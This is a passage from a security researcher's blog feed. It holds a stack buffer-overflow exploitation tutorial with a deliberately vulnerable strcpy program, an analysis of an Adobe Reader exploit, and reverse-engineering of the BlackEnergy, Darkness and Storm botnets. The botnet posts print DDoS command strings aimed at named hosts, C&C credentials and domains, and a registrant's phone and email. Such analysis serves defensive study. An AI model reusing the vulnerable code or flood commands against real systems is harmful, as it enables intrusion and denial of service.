All the financial and banking software targeted by this malware are products of the Iranian company Tarrah Systems, which issued a warning on its website about W32.Narilam a couple of days ago. The company asked its customers to backups their databases if they are using the targeted products.

While analyzing multiple samples of this malware, it seems this code was written to corrupt and delete databases accessed by these software, thereby causing potential financial losses to users. Possible targets of Narilam are corporates and banks that are likely to have these applications installed.It is recommended that users of these applications regularly backup their databases in order to avoid any kind of havoc.

Stack Overflows - Part 1 : The Basics

noreply@blogger.com (Chintan Shah) — Wed, 28 Nov 2012 05:24:00 +0000

I wanted to start the Exploit development learning series since quite some time ..Eventually , I've managed to get some time out of the work to start with the tutorial series ..With this , I plan to go through the series of excercise and concepts and help the beginners learn the basics of Exploit development and advance concepts in exploitation ..

Disclaimer : I would want to mention here that these tutorials are only for the educational purpose . Knowledge acquired through this series should never be used for hacking into the networks / computers or performing similar illegal activities . You should continue to read only if you agree with this disclaimer.

Historically , Stack based buffer overflows have been the most prevalent class of security bugs in the software and have been around for as long as C Language ..Numerous methods and techniques have been published to exploit Stack based buffer overflows .. for instance , Phrack papers etc ..Even today , this is one of the category of bugs which has remained to be widely exploited ..I am starting with some of the theoritical concepts and then we'll move on to the more advance stuff as we go ..

Windows Memory Layout

A developer basically visualizes the Windows memory layout as the flat memory model where , in a 32 bit system , processor can generate and access any memory address within the range from 0 to 2^32 . i.e from 0x00000000 to 0xFFFFFFFF. Internally , Windows uses techniques known as Memory Segmentation and Paging in order to divide the memory into protected segments called : Code segment , Data segment and Stack segment. While each process resides in the virtual address space of its own , it is not allowed to access the address space of another process and same for all other processes residing in the memory so that they do not end up corrupting the data structures of other process. The access control to the memory segments was primarily controlled by Segmentation ( In systems based on older processors ) but now everything lies in the Paging. If we visualize the flat memory layout of Windows , it looks like this :

However , in the flat memory model , Windows NT used to implement 32 bit of continuous and linear addressible space and 286/386 class of Intel processors had a 32 bit address bus which could access any memory address in absence of Segmentation / Paging techniques. This is basically done through the processor segment registers which are loaded with the 2 byte segment selectors used as an index to segment descriptor tables , thereby translating 32 bit logical addresses into linear address . All of these were taken care of in the hardware which allows the programer to assume the address space as the flat memory model.

As we can visualize from the above picture , 0x00000000 to 0x7FFFFFFF is called the User space memory which consist of process image , process stack / heap , per thread stack, DLL code, and user land process data structures while the address space above that is called Kernel space memory where the kernel code resides.

As a side note , the saperation between user space memory and kernel space memory is implemented via Paging technique ..precisely a flag in the page directory entries ( PDEs ) marks this boundary ..Let's not worry about all that stuff now..

Process Memory in Windows

In Windows environment , each process is loaded by OS in its own virtual address space. As I said above , this is the user space memory which means the process will be able to see the entire address space from 0x00000000 to 0x7FFFFFFF as the linear address space and the memory higher than that belongs to the kernel which user land process does not have an access to .

When the process is created , additional per process data structures like Process Environment block ( PEB ) and Thread Environment block is also created ..These data structures are of the prime interest to the exploit developers . The way they use the PEB is to access the PEB_LDR_DATA which contains all the information about the loaded DLL modules within the process and the shellcode accesses this data structure to retrieve the base address of any DLL ..Perhaps they could access the base address of kernel32.dll and then loadlibraryA to perform some interesting stuff !! :-)..

This is how any Win32 process memory map will look like :

Memory area marked as "Program Image" is where the program code and everything else that is immediately visible about the program resides .

Data section : This is the writeable section of the load binary where all the initialized / static / global variables of the program are located. For instance , the C program statement : int a = 2 , char buff[]="Hello" static int a = 1; etc are stored in the data section .

Code section : This is segment of the program where all the compiled code is located.

BSS section : This is the area where all the uninitialized variables of the program is stored. C program statement like : int a ; static int a ; etc ..are located in BSS section ..

RSRC section : This is resource section of the PE file which contains the information related to UI of the program : icons , menus , dialog boxes , cursor, fonts and things like that .

Heap section : This is the area in the memory where all the dynamically allocated data is stored..For eg the memory allocated by malloc() is in this space.

The Stack

Stack is the area in the process memory and per process data structure , which allows the process to access the data in the LIFO fashion . i.e Last In First Out : meaning , the most recent data stored on the stack is removed first from there ..There are two primary operations that are done on the Stack : PUSH and POP ..Both of these are CPU instructions which manipulates the stack .

When a process is created , the stack size is comitted and memory is allocated for process to store the data on it . Intel processors has 32 bit register called ESP ( Extended Stack Pointer ) which points to the top of the stack memory. When PUSH operation is performed , data is stored on the stack and ESP is decremented , since the stack grows towards low memory address. When POP operation is performed , data is accessed from the stack and ESP is incremented .

Following are the basic uses of the Stack memory :

1 . When any subroutine is called using CALL instruction, the arguments passed to the subroutine are PUSHed on the stack.
2 . The next memory address to which the caller should return after executing the subroutine, is also stored on the stack before calling that subroutine.
3 . During the execution of the subroutine , the memory for storing the temporary local variables is allocated on the stack .

Also, it is important to note that Stack is the temporary storage , and the memory is wiped off after returning from the subroutine. We will quickly walk through the Intel x86 registers and then with the example code , we will see how exactly the stack frame of the function is established.

Intel x86 architecture General purpose registers and Intruction pointer

Processor registers are the memory storage areas used to store the data for several arithmatic & logical operations performed by processor. Since they are built into the processor itself , the access to this registers is very fast. Intel x86 architecture has 8 general purpose registers and an Intrustion pointer register which points to the next intruction to be executed .

EAX : known as Accumulator register . Usually used to store the value of the arithmatic and logical operations on the data as well as the return values from the functions.
EBX : base pointer to the data section of the program. Normally used to store the data
ECX : used as the counter to string and loop operations ..ECX stores the value which is decremented for loop operation.
EDX : used as I/O pointer . Also used to perform little complex calculations ( multiply / divide etc..)
EBP : Stack frame base pointer register.It points to the start of the function stack frame and also used to access the function arguments via offsets.
ESP : Stack pointer. As discussed before , ESP always points to the top of the stack.
ESI : Source pointer for string operations ( string copy , string comparison etc..)
EDI: Destination pointer for string operations ( string copy , string comparison etc. )
EIP : Instruction pointer register which points to the next instruction to execute.

Visualization of stack memory with example code

Let's see the behaviour of the stack and operations performed on it with the example C code. I am using the following C code compiled with Microsoft Visual Studio 2010 Express edition.

int main (int argc , char *argv[])
{
char buffer[20];
strcpy(buffer , argv[1]);
if (!strcmp(buffer,"password"))
{
printf("Login Successful...\n");
return 1;
exit(1);
}
else
{
printf("Access denied..password incorrect..\n");
return 0;
exit(0);
}
}

If we open the binary in the debugger and look at the code , we see that the pointers to argv[] and argc are pushed on the stack before calling main()..Since this binary accepts the command line arguments , I am passing it in the debugger as follows :

we need to navigate the menu Debug --> Arguments, and we can pass the command line parameters to the binary:

Next the argc and argv are pushed on the stack :

If you cannot read the code , here is how it looks like :

PUSH EAX
MOV ECX, DWORD PTR DS:[argv] --- > argv moved to ECX register
PUSH ECX ------> ECX pushed on the stack
MOV EDX, DWORD PTR DS:[argc] ----> argc moved to EDX register
PUSH EDX ------> argc pushed on the stack
CALL Buffer_O.main ------ > Call main ()
ADD ESP, 0C

Our stack at this point of time will look like this :

Next , before calling main() , address of the instruction next to CALL, is pushed on the stack so that it knows where to resume execution after returning from main() . Stack will look like this:

At this point , if we take a look at the stack in the ollydbg debugger , here is how the stack is setup while calling main() function . If you observe the bottom right windows of the debugger , it is the stack window and the highlighted portion of the stack shows the pushed EIP and the two arguments to the main .

Code window in the above picture is actually the disassembled code of the main() . If we examine some of the initial lines of the assembly code, we can relate it to the C souce I showed a while back.

PUSH EBP
MOV EBP, ESP
SUB ESP, 54
PUSH EBX
PUSH ESI
PUSH EDI ; ntdll.7C910228
MOV EAX, DWORD PTR SS:[EBP+C] ; kernel32.7C81776F
MOV ECX, DWORD PTR DS:[EAX+4]
PUSH ECX ; /src = "L+7"
LEA EDX, DWORD PTR SS:[EBP-14] ; |
PUSH EDX ; |dest = 00000002
CALL Buffer_O.strcpy ; \strcpy
ADD ESP, 8
PUSH Buffer_O.0040316C ; /s2 = "password"
LEA EAX, DWORD PTR SS:[EBP-14] ; |
PUSH EAX ; |s1 = "X17"
CALL Buffer_O.strcmp ; \strcmp
ADD ESP, 8
TEST EAX, EAX
JNZ SHORT Buffer_O.00401050
PUSH Buffer_O.00403154 ; /format = "Login Successful...\n"
CALL DWORD PTR DS:[<&MSVCR100D.printf>] ; \printf

Within the main , as shown in the marked code , function prologue is executed wherein EBP is pushed on the stack thereby creating the new local stack frame for main and then ESP is moved to EBP . At this point , ESP and EBP both points to the same location . Remind yourself again that stack always grows towards low memory address and when something is pushed , ESP will be decremented by 4.

Here , Stack will look like this : You can also view the stack state in the debugger and examine the ESP and EBP registers .

At the third instruction , ESP is further substracted by 0x54 and allocates the space for local variable buffer that we've declared in the source. Once this instruction is executed , below is how the stack will appear : Highlighted area in the debugger stack window is the space allocated for the variables.

In the next few lines of the code , we see the strcpy ( ) is being done from argv[1] to buffer , and then the string comparision is done after which appropriate printf call is executed . What we need to remember here is that for every function that is called from within the main , stack frames are created in exactly the similar way as demonstrated above . When the function returns , the stack is wiped off and EBP/ EIP is popped from the stack to resume execution thereafter.

Overflowing the buffer with long command line parameters

Now that we have the knowledge of how the stack frame is established , it will be lot more easier for us to understand what will happen if we pass long command line arguments to main . Until now we were OK since we passed the string with length of 8 bytes and our buffer is 20 bytes long..If we pass the string of say 30 bytes as the command line parameter to main , we are sure that we will overwrite past the allocated buffer space , EBP and finally saved EIP as well and even the way beyond if our string is longer. If we visualize the stack after the strcpy () operation , it will be like this :

Important point to note here is that , overflow will happen from lower memory address to higher memory address .

Let's pass the long command line parameter and check the stack state and the behaviour of the debugger. You should pass the parameter to this program in the similar way I described previously. I passed the string of "A" ( Hex : 0x41 ) with the length of 45 and here is what happened in the debugger .

Ahaa !! ..We've overwritten the buffer with the long string of "A" passed as the parameter to main and effectively to strcpy () , which overflowed the buffer and eventually gone and overwrote the saved return address ( EIP ) . So when the main returned , the EIP was popped off the stack and it throwed the exception because of the fact that it couldn't read the memory at that location. You can also see the bottom right stack window where the allocated memory was filled up with 0x41 ( Hex value of "A" ) and ESP pointing to our overflowed buffer . This is exactly what we will use to exploit the buffer overflow and jump to over shellcode . We'll see that later in the next part :-)

So what exactly happened here ? Let's closely step through the code and examine what caused the debugger to throw the exception . We will breakpoint the strcpy operation and examine the stack just before this operation , to get some clarity .

I restarted the program , breakpointed at strcpy operation :

If you closely take a look at the arguments of strcpy operation , source is our passed string of "A"s which we want to copy , and the other argument is the destination memory location 0x0012FF54 on the stack where the string is to be copied . Just observe the stack at this time . This is before the copy is done . Few locations below our destination pointer at 0x0012FF6C , we have the return address saved . As I indicated before, the copy will be done from low mem to high mem addresses. Once the strcpy will be executed , this location will be overwritten with our string of "A"s .

If you notice the state of the stack after strcpy , it is filled up with our supplied parameter and the stack location 0x0012FF6C , which previously had the return address stored , now has 0x41414141 . Futher , if you step through the code , it will perform the strcmp and print the appropriate message and finally , the funtion epilogue is executed :

MOV ESP, EBP
POP EBP
RETN

EBP is moved to ESP register , top of the stack is then popped into EBP which contains 0x41414141 as well and then when finally RETN is executed ESP is pointing to 0x0012FF6C which contains 0x41414141 , is popped into EIP . Debugger will throw the exception when trying to read 0x41414141.

So through this simple vulnerable code , I demonstrated that we can control the EIP and overwrite with the memory address that we choose . In this example , it is easier for us to find the exact offset in our parameter to overwrite the EIP. We know that our buffer is exactly 20 bytes long . if we add 4 bytes of EBP to that , we should be able to overwrite the EIP at 25th byte in our string ..Let's try that out ...

I'll pass the string with 24 bytes of "A" s + 4 bytes of "B" ..and we'll see that EIP is overwritten with the 0x42424242.

That is what we expected. At this point of time , we've just triggered the buffer overflow in our vulnerable code. Next step is to exploit this vulnerability and modify the execution flow of the program to execute our own shellcode . If the command line argument is longer than 28 bytes , you will see that ESP is pointing to some offset in our string and we can exploit that to modify the execution flow of the program and do what we want it to. We'll see how to achieve it in the next part of this series.

Little endian Vs Big endian

This is another little concept that we need to understand before we dive deep into exploitation.Little endian and Big endian are the order in which the bytes are stored in the memory and is often dependent on underlying hardware architecture .

In a Big endian hardware , the most significant byte of the word / dword is stored first as lowest memory address and then the subsequent bytes are stored at the increasing memory locations.For instaance , if you visualize big endian format memory storage for dword 0x41424344 , starting at memory location 0x0012FF6C , it will be stored in the following format :

0x0012FF6C : 0x41
0x0012FF6D : 0x42
0x0012FF6E : 0x43
0x0012FF6F : 0x44

If you take the memory dump of the bytes stored in big endian format , you will find 0x41424344 stored like this in the memory :

ADDRESS : ---- MEMORY BYTES ----------

0x0012ff6c : 41 42 43 44 00 00 00 00 00 ...

In a Little endian hardware , the least significant byte of the word / dword is stored first at the lowest memory address and the next subsequent bytes are stored at increasing memory locations . Intel processors store the data in the little endian format . So If you take the memory dump of the bytes stored in little endian format , you will find 0x41424344 stored in the memory as below:

ADDRESS : ---- MEMORY BYTES ----------

0x0012ff6c  : 44 43 42 41 00 00 00 00 00 ...

In part 2 of this series, we will explore stack overflow vulnerability in a commercial software and see how it can be exploited to do something very intersting..

Adobe Reader 0 day U3D Memory Corruption Vulnerability - Analysis Of The Exploit

noreply@blogger.com (Chintan Shah) — Fri, 16 Nov 2012 13:10:00 +0000

During the December last year , a critical vulnerability was identified in Adobe Reader X / Adobe Acrobat X version 10.1.1 and earlier for Windows and Mac OS , Adobe Reader 9.4.6 and Adobe Reader 9.x versions for Unix . This was a 0 day vulnerability (CVE-2011-2462) potentially allowing an attacker to execute arbitrary code and take the control of victim machine without user knowledge

I analysed the exploit (sample being circulated in the wild) and figure out how the vulnerability was being exploited and the malicious binary is being dropped on to a system which in-turn allows the attacker to take the control of the system after the successful exploitation.

Analysis of the PDF 0 day exploit

I analysed in the exploit PDF with MD5 : b025b06549caae5a7c1d23ac1d014892, that I received few days back. The technique used in this exploit has been known to the researchers since the ages.

Let’s check what we get as the output when we run PDFiD tool against this exploit.

Looking at the output of the PDFiD , we can rightaway make out on what this exploit would contain within. As with a lot of other exploits in the wild, this document uses the technique of /JavaScript and /OpenAction to launch the malicious javascript . The combination of both these make this document suspicious to an eye of the researcher.

/JS and /JavaScript indicates that this pdf document contains the javascript while the /OpenAction indicates the action to be performed automatically when the document is viewed Let’s take the deeper look at the object structure of the pdf document and find out what is interesting to us

Object Analysis of the PDF document

Just to get back to some basics , you might already know , pdf dictionary objects starts with the keyword obj and end with endobj while pdf stream dictionary objects starts with the stream and ends with endstream keywords

Object 4 has the /OpenAction reference to the object 14 which seems particularly interesting. Lets take a look at what’s out there in the referenced object

Object 14 as seen in above has the stream link to object 15 which contains the actual compressed javascript

This is the malicious javascript that is encoded twice, first with ASCIIHexDecode and then with FlateDecode. These stream filters will indicate Adobe Reader on how to decode the streams while opening the document. This combination of stream filters is widely used in exploits to compress the code. We’ll take a look at the JS code little later in the Analysis . In the meantime , let’s move further in the object structure analysis of the pdf document.

Object 11 contains the stream link to Object 10 as seen in the below snapshot. This stream link contains the Flate encoded 3D Annotations data that is to be FlateDecoded and displayed while the Adobe Reader
document is rendered

As per the Adobe 3D Annotations documentations available here, , 3DD entry of the Annotations data specifies the FlateEncoded Data stream containing the U3D data. That’s exactly what we see in Object 10 as shown below

This U3D data is likely to cause the memory corrupution and trigger the vulnerability Moving to the last Object 16 is of special interest to us. Let’s check how this object looks.

This object does not have any references and contains the stream that is supposed to be FlateEncoded. It is this stream which contains the malicious XORed executable that is dropped after successful exploitation. Let’s see if we can figure out the XOR key.

Executable has been XORed by 0x12 . Looks like this stream wasn’t FlateEncode but rather simply XORed to embed the malicious file within. This techniques are normally used in exploits to hide the malicious code and thereby bypassing the AV detections.

Let’s take a look at the decoded JS code from Object 15 to understand what it does.

This code is checking for supposedly non-existant versions of the Adobe Reader and apparently enters the infinite loop if the version comes out to be greater than 10.0 . This code used the heap spray technique to exploit this vulnerability and execute the shellcode. End of this code is checking for the Windows platform and sets the document to page 2 if it is running on the Windows platform which will render the 3D data specified by the U3D file causing the corruption.

The actual heap spray function in the JS code looks like this :

Last function call in the above figure is the one that allocates the memory and fills up the heap as seen below.

Launching this exploit on the Windows platform with Adobe Reader 9.4.6 installed , it will crash and open the new document 2012 Federal Employee Pay Calender.pdf .

Spawning the new process pretty.exe and finally injecting the WSE4EF1.TMP.dll in iexplore.exe proces which then connects to the command & control server.

Looking at the code of the pretty.exe we’d see that it looks for outlook.exe, iexplore.exe, and firefox.exe. It then injects the code into whichever process it finds open on the victim machine.

Network Communications

Once the code is injected into any of these open processes, a connection is made to the domain prettylikeher.com (IP : 72.30.2.43 which was resolved during the time of our execution) on port 443 . Assuming that it must be using SSL for C&C we hooked the WinInet.SecureSend and WinInet.SecureReceive APIs just to check what is being sent as the encrypted request. We found the following clear text decrypted traffic .

While the server responded HTTP 301 with the location header having the HTTP link

After which HTTP GET request initiated looks like as shown below . The URI query string contains the parameter which is the hostname of the victim machine appended along with the IP address.

Looking at the injected dll , following code forms the HTTP GET request along with the URI query parameters

Further analysis of the command & control code of the sample reveals that the following commands can be given to perform the respective actions on the victim system.

Cmd ,Shell , Run , Getfile, Putfile, Kill, Process, Reboot, Time, Door

Inside The DDoS Botnets - BlackEnergy and Darkness - Part 2

noreply@blogger.com (Chintan Shah) — Mon, 27 Aug 2012 12:15:00 +0000

Darkness bot – Successor of BlackEnergy

Recently in the December last year , we came across a new DDoS bot found to be fairly active in the wild targetting number of websites . During our analysis , the samples of bots were using particularly 3 domains as their command and control channnel.

greatfull-toolss.ru
greatfull.ru
hellcomeback.ru

However , couple of domains out of these were already unavailable , querying the whois database for greatfull.ru gives the following whois record :

nserver:    ns1.reg.ru.
nserver:    ns2.reg.ru.
state:      REGISTERED, DELEGATED, UNVERIFIED
person:     Private Person
phone:      +380686548525
fax-no:     +380686548525
e-mail:     smilefrince@yandex.ru
registrar:  REGRU-REG-RIPN
created:    2010.11.03
paid-till:  2011.11.03

Googling for the above email address used for registering the domain showed up several adds related to the DDoS service. One of the add that we came across displayed the services and capabilities this botnet can provide.

Darkness bot command and control

During our investigation , we came across the C&C UI used to track the botnet infections and instruct the DoS commands to the bot client . One of the control panel we observed posted on the underground forums looked like this:

Above control panel UI is in the Russian language , However , we have been able to translate and understand the purpose of quite a few commands through our command simulation setup Following are the DDoS commands used by this Bot .

exe --- > download specified binary from the server

dd1 --- > HTTP GET DDoS attack

dd2 --- > ICMP DoS attack

wtf --- > Stop all the commands

tot --- > Bot synchronization time .

vot --- > Voting

During our static Analysis , we were able to unpack the and reverse the binary during which we located the Command and Control code within the binary and some other functionalities which gives us the fair enough idea on how the malware runs on the victims system .

Below is the code segment for one of the command and action it takes if the command matches. After checking the command , it calls the same routine multiple times and calls the CreatThread API to initiate the DoS attack.

Above unpacked view of the binary just gives an idea of 3 hardcoded encrypted+B64 encoded URLs, the string “darkness” , copies itself as dwm.exe and runs as IpSectPro service.

Network communications with the bot client

During our extensive research on this Bot , given that we had an idea of how the command format of the bot looks like , we were able to simulate the DDoS attack . Once executed , client sends the Registration request to the control server and we were able to make the server reply with the B64 encoded DoS command as shown below :

Decoded command is an instruction to DoS the websites

dd1=http://www.abc.com/;http://www.xyz.org

And we were able to see the DoS attack initiated from the client . Within the span of 5 minutes , we were able to see approximately 80,000 hits logged on the server .

Next , we also simulated the ICMP DoS attack . We made the server reply with the “dd2” command to be able to see the ICMP DoS. Server response in this case was as below.

HTTP/1.1 200 OK

Date: December 13, 2010 2:47:53 AM PST

Server: Xerver/4.32

Connection: close

Content-Type: text/html

ZGQyPWh0dHA6Ly93d3cuYWJjLmNvbS87aHR0cDovL3d3dy54eXoub3Jn

Above B64 command when decoded : dd2=http://www.abc.com/;http://www.xyz.org which initiated the ICMP DoS.

Inside The DDoS Botnets - BlackEnergy and Darkness - Part 1

noreply@blogger.com (Chintan Shah) — Mon, 27 Aug 2012 11:45:00 +0000

BlackEnergy was very popular DDoS bot which used to prevail couple of years back . This bot has been under development and has evolved since quite some time with its successor named Darkness bot with the similar abilities.This Bot has evolved with new features continuously added to extend its malicious capabilities . Researchers have been keeping an eye on this and analysis of the Command and Control(C&C) traffic of the bot samples existing in the wild has revealed that this bot should be a product of the Russian Cyber market , while the traces indicating the same have been found within the bot executables as well.

This bot comes with a variety of DoSing capabilities and has been observed to be targeting the Russian Websites. Recently, during our Investigation, we managed to get access to the BlackEnergy builder toolkit which unlike previous available builder versions , comes with the option of building the polymorphic binaries to bypass AV detections and also includes anti-debugging features. The toolkit comes with the root directory www/ which includes the PHP scripts for controlling the Bot and other details such as MySQL database schemas which gives fair enough idea on the architecture of the Botnet.

This blog provides detailed analysis of the BlackEnergy bot builder toolkit. We will also examine the server side PHP scripts to understand the bot command and control channel. Additionally we will also analyze the DDoS traffic generated by the bot. Later part of this series also sheds some light over the recently emerging Darkness bot which is believed to be related to BlackEnergy and has overshadowed BlackEnergy in terms of its DoSing capabilities.

BlackEnergy DDoS Bot builder:

Above screenshot is of the builder toolkit used to build the bot client which is then usually downloaded by victims through drive-by-downloads or distributed through Spam e-mails.

Below are all the default parameters used to build the bot client and as such most of the parameters are very well self explanatory.

Host : C&C Server communicating with the bot client .

Request Rate : Specifies the time interval after which new command should be fetched from the C&C server.

Build ID : Unique Build ID for each bot . This will change every time the builder tool kit is invoked.

Default Command : Command to execute if bot client cannot connect to the C&C server.

Execute after : Time after which command should be executed.

Outfile : Final bot client executable name

Default DDoS parameters

ICMP Freq : No. of ICMP packets to send in the attack.

ICMP Size : Size of the ICMP packets in the attack.

Syn Freq : No. of SYN packets to send in SYN flood

HTTP Freq : No. of HTTP Request to send in the HTTP flood

HTTP Threads : No. of HTTP threads to create during the attack.

TCP /UDP Freq : No. of TCP / UDP packets to send during TCP / UDP flood attack.

TCP Size : Size of the TCP payload.

UDP Size : Size of the UDP payload.

Spoof IP’s : Boolean value to enable or disable IP Spoofing during the flooding.

Use Crypt traffic : May be used for encrypting the bot client communication.

Use polimorph exe : Inserts different encryption routines to bypass AV detection.

and antidebug

After specifying all the configuration options, clicking on “Build” button will output the bot client which is then distributed through various means

Server Side Botnet Command and Control System :

The toolkit comes with the C&C server side PHP scripts which interacts with the MYSQL database at the backend to track the bot infections. We’ve observed the following files in the toolkit .

Auth.php

§ Config.php

§ Index.php

§ MySQL.php

§ Stat.php

§ db.sql

Readme.txt

Let’s understand the code in each of these files and learn how the system works altogether.

The C&C system comes with the basic HTTP password authentication scheme. Auth.php presents the Login/Password screen from where the Botnet can be further controlled by the Bot Master.

Admin and MySQL Login details are saved in the config.php file as below.

// íàñòðîéêè áàçû

$opt['mysql_host'] = "localhost";

$opt['mysql_user'] = "b0t2";

$opt['mysql_pass'] = "2413038";

$opt['mysql_base'] = "b0t2";

// ëîãèí è ïàññ ê àäìèíêå

$opt['admin_pass'] = "admin";

$opt['admin_login'] = "132";

Bot C&C system has a pretty simple database schema with the SQL queries in the db.sql file. Following is an excerpt from that file.

-- Table structure for table `opt`

CREATE TABLE `opt` (

`name` varchar(255) NOT NULL,

`value` varchar(255) NOT NULL,

PRIMARY KEY (`name`)

);

“Opt“ table has the following name and its default values which is displayed on the UI when index.php is accessed.

-- Dumping data for table `opt`

INSERT INTO `opt` (`name`, `value`) VALUES ('attack_mode', '0'),

('cmd', 'wait'),

('http_freq', '100'),

('http_threads', '3'),

('icmp_freq', '10'),

('icmp_size', '2000'),

('max_sessions', '30'),

('spoof_ip', '0'),

('syn_freq', '10'),

('tcpudp_freq', '20'),

('tcp_size', '2000'),

('udp_size', '1000'),

('ufreq', '1');

-- --------------------------------------------------------

db.sql also has the important table structure , “stat” used for tracking the size of the botnet. All the data that is POSTed by the bot client is logged in this table along with the Build ID which is sent back by the bot client to the C&C system .

-- Table structure for table `stat`

CREATE TABLE `stat` (

`id` varchar(50) NOT NULL,

`addr` varchar(16) NOT NULL,

`time` int(11) NOT NULL,

`build` varchar(255) NOT NULL,

PRIMARY KEY (`id`)

);

Index.php is the script that connects to the SQL database and fetches the statistics which are displayed on the GUI. Following SQL queries are found in the index.php file

$r = db_query("SELECT * FROM `opt`"); while ($f = mysql_fetch_array($r)) $opt[$f['name']] = $f['value'];

$r = db_query("SELECT COUNT(*) AS `cnt` FROM `stat` WHERE ".time()."-`time`<".($opt['ufreq']*60)); $btotal = intval(mysql_result($r, 0, 0));

$r = db_query("SELECT COUNT(*) AS `cnt` FROM `stat` WHERE ".time()."-`time`<".(60*60)); $bhour = intval(mysql_result($r, 0, 0));

$r = db_query("SELECT COUNT(*) AS `cnt` FROM `stat` WHERE ".time()."-`time`<".(60*60*24)); $bday = intval(mysql_result($r, 0, 0));

$r = db_query("SELECT COUNT(*) AS `cnt` FROM `stat`");

$ball = intval(mysql_result($r, 0, 0)); $builds = array();

$sql = "SELECT COUNT(*) AS `cnt`, `build` FROM `stat` GROUP BY `build`";

$r = db_query($sql);

Botnet Commands

We have reverse engineered C&C code on the bot client and have identified that it comes with 3 major type of commands. Arguments to these commands are also documented in the Readme.txt and cmdhelp.html files accompanying this package in the Russian language . During our analysis of the bot client binary , we’ve also found the 4th command which is not documented in the help files. Let ‘s understand each of the command and its binary code

A ) flood :-

“Flood” command instructs the bot client to initiate several different types of flooding attacks Arguments to this command instructs the bot about the type of flood attack to generate along with the other parameters as shown earlier Figure 1 . Arguments to the type of flooding attacks can be following:

- ICMP

- UDP

- SYN

- HTTP

- Data

Flood command along with the arguments and other parameters are sent by the server to the bot client in Base-64 encoded format . Below is an example of the decoded command indicating how the bot client is instructed to carry out a TCP SYN flood on port 80:

4500;2000;100;1;0;30;500;500;200;1000;2000#flood syn mail.ru 80 #10#xEN-XPSP1_80D1F15C

B ) stop :-

Stop command instructs the bot client to temporarily stop DDoS floods for the specified number of seconds

C ) die :-

Die command instructs the bot client to delete itself from the infected system. It calls the ExitProcess API to terminate the process and stop all DDoS activities.

PUSH 3

PUSH _bot.15111484 ; ASCII "die"

MOV EAX, [ARG.1] ; _bot.

PUSH EAX

CALL _bot.151154C0

ADD ESP, 0C

TEST EAX, EAX

JNZ SHORT _bot.15112C2A

CALL _bot.151127B0

PUSH _bot.15116900 ; /FileName = ""

CALL DWORD PTR DS:[<&KERNEL32.DeleteFileA>] ; \DeleteFileA

PUSH 0 ; /ExitCode = 0

CALL DWORD PTR DS:[<&KERNEL32.ExitProcess>] ; \ExitProcess

E ) wait:-

This command instructs the bot client to remain silent without performing any activity and contact the C&C server for new commands after the specified interval. Format of this command is as shown below :

4500;2000;100;1;0;30;500;500;200;1000;2000#wait#10#xEN-XPSP1_80D1F15C

This instructs the bot client to wait for 10 minutes before checking for new commands . This is exactly what can be figured out from the screenshot below

Network Communications:

BlackEnergy Bot client uses HTTP protocol to communicate with the C&Cserver. It uses HTTP POST request to stat.php page as shown in the "Architecture of Botnet" section. POST request data is then logged into the “stat” table in the database primarily used for tracking the bots.

The information sent by the bot-client in the HTTP POST request message includes the ID and the build ID.

ID parameter is a combination of the SMB hostname and the C:\ volume information of the infected machine. The code section below shows how the ID parameter is built

Build_ID is the parameter which is randomly generated by the bot builder and is probably used to track the botnet infections.

In reponse, the C&C server replies with the Base-64 encoded command as shown below.

The decoded command shows the following:

4500;2000;100;1;0;30;500;500;200;1000;2000#wait#10#xEN-XPSP1_80D1F15C.

This shows the extent upto which the DDoS parameters are configurable in this bot. All the parameters are present even in the #wait# command. Likewise, variety of different DoS commands can be given by C&C sever, few of which are listed below:

# flood syn www.abc.com 25#10#

# flood http www.xyz.com#20#

# flood udp;dns;syn;1.1.1.1#10#

# flood icmp 1.1.1.1#5#

A significant finding of our analysis has shown that the toolkit that is used to build the bot client executable is Backdoored. On execution of the toolkit, it opens a random port on the infected system in the listening mode. Also , it is found sending significant system information to the remote server . Below is the snapshot of Base-64 encoded traffic that we captured when the toolkit was launched for building the bot.

Decoding above traffic shows the info that was being sent by this toolkit

In the next part of this blog , I will talk about Darkness , Another highly prevalent DDoS Botnet on the Internet.

Dissecting The Storm Worm

noreply@blogger.com (Chintan Shah) — Sun, 23 Jan 2011 07:44:00 +0000

The Storm worm marked its presence in early 2007 and became an infamous robot network primarily known for its spamming and phishing activities.

Also known as Nuwar / Zhelatin / FakeAV / Peacomm, this bot reappeared early this year, distributed by fake AV software and Trojan downloaders. Storm is a major botnet when compared with many other spamming bots, due to the massive volumes of spam it sends from the victim’s machine. It also uses a fast-flux mechanism to hide its distribution areas. During our static analysis of the Storm executable, we observed it to be heavily obfuscated with an unknown packer and an infinite loop to halt its activity whenever it detects a debugging or virtual machine environment.

Storm’s spam campaign activity includes a variety of spam, with most related to online pharmacy scams and adult products. This botnet also includes malicious links to URLs that exploit several client vulnerabilities.

Our analysis of Storm confirmed and uncovered some of its unique characteristics, which help network intrusion prevention systems to implement reliable detection mechanisms for Storm’s control activity.

Static analysis of Storm Worm binary

We looked inside the variant we received in April 2010. In the initial part, this sample has various decryption routines. This binary starts with moving 0×5090 bytes to the heap and thereafter executing decryption routines to unpack the binary in stages.

After a complete execution of the loop, the binary is moved to the heap section and then decrypted:

This executable then copies itself as asam.exe into c:\windows, modifies the registry key to execute at Windows start-up, creates the process asam.exe, and terminates itself.

Analysis of the HTTP Communications Code Within the dropped file asam.exe

We reverse-engineered this Storm file and came across some of the unique characteristics of its control channel, which is based on base64-encoded, gzipped HTTP data. The code snippets below reveal our analysis of its HTTP communications.

URI Extensions in the POST Request:

Hard-coded URI extensions and the URI length that is used in the POST request initiated by Storm:

Random Generation Functions to form the URI Request Path:

The next code snapshot shows the random character-generation function that generates 3 bytes of random alphabetical characters which are appended with the “.” to form the request URI path. Thereafter, the random generation function is called again to select any random extension from .jpg, .htm, and .gif, and completes the URI formation by appending it to the previously generated request path:

HTTP POST Request Header:

These are the low-level details of how the POST request will look when the worm is executed on the machine:

As we figured out from the code above, this variant communicates with the bot master via an HTTP POST request. In examining the POST request code, another clue is the possible typo in the user-agent header, in which it is set to “Mozilla/4.0 (compatible; MSIE 6.0; Windoss NT 5.1; SV1).” (Note “Windoss” instead of Windows. This is a very good hint that Storm is in action; intrusion prevention systems can use this hint to detect Storm on the wire.) The botnet server then responds with the spam template used by the bot to send the spam.

All the preceding data from the server is base64 encoded. After decoding the response from the server, we found following spam template:

Once the bot client decodes this data, it uses the following looped SMTP engine code to send spam mails based on the spam template.

Below is one of the spam mails generated by this bot

More Uncovered Commands

Scanning the Drive for Files

Storm also includes a routine to scan the drives for files with the following extensions:

